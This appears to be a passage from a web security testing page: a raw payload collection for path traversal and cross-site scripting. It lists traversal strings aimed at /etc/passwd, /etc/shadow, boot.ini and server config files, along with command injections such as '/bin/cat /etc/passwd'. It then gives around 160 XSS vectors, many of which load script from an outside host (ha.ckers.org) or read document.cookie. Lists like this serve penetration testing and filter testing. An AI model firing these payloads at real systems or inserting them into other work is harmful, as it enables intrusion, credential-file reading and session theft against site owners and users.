/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> 